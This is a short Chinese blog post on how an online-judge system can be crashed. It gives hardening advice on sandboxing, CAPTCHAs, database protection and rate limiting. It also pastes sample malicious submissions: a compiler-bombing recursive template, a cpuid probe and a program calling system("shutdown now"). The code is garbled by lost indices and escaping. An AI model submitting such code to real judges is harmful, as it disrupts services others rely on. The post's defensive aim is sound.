咋搞垮一个Onlinejudge

我自己也正在开发一个Onlinejudge
首先肯定是权限问题,保证程序不能读和写除了数据之外的任何文件,以及操作网络,系统。验证码一定要强。像hustoj那样的数字验证码并不可取,攻击者只需要加上cookie便可以注册大量垃圾账号谨防机器提交post,每个最好加上验证字段或者验证码数据库一定要保护好,最好改一下端口。开外网的话不要暴露ip可以适当放慢访问速度一定要考虑周全。以下是垃圾代码https://github.com/vijos/malicious-codestruct x struct z\u0026lt;x(x(x(x(x(x(x(x(x(x(x(x(x(x(x(x(x(y,x(y\u0026gt;\u0026lt;y*,x(y*w\u0026gt;v\u0026lt;y*,w,x{}---#include \u0026lt;stdint.h\u0026gt;#include \u0026lt;iostream\u0026gt;#include \u0026lt;cpuid.h\u0026gt;static void cpuid(uint32_t func, uint32_t sub, uint32_t data) { __cpuid_count(func, sub, data, data, data, data);}int main() { uint32_t data; char str; for(int i = 0; i \u0026lt; 3; ++i) { cpuid(0x80000002 + i, 0, data); for(int j = 0; j \u0026lt; 4; ++j) reinterpret_cast\u0026lt;uint32_t*\u0026gt;(str) = data; } std::cout \u0026lt;\u0026lt; str;}---#include \u0026lt;bits/stdc++.h\u0026gt;using namespace std;int main() { system("shutdown now"); return 0;} 【咋搞垮一个Onlinejudge】 待续。。


    推荐阅读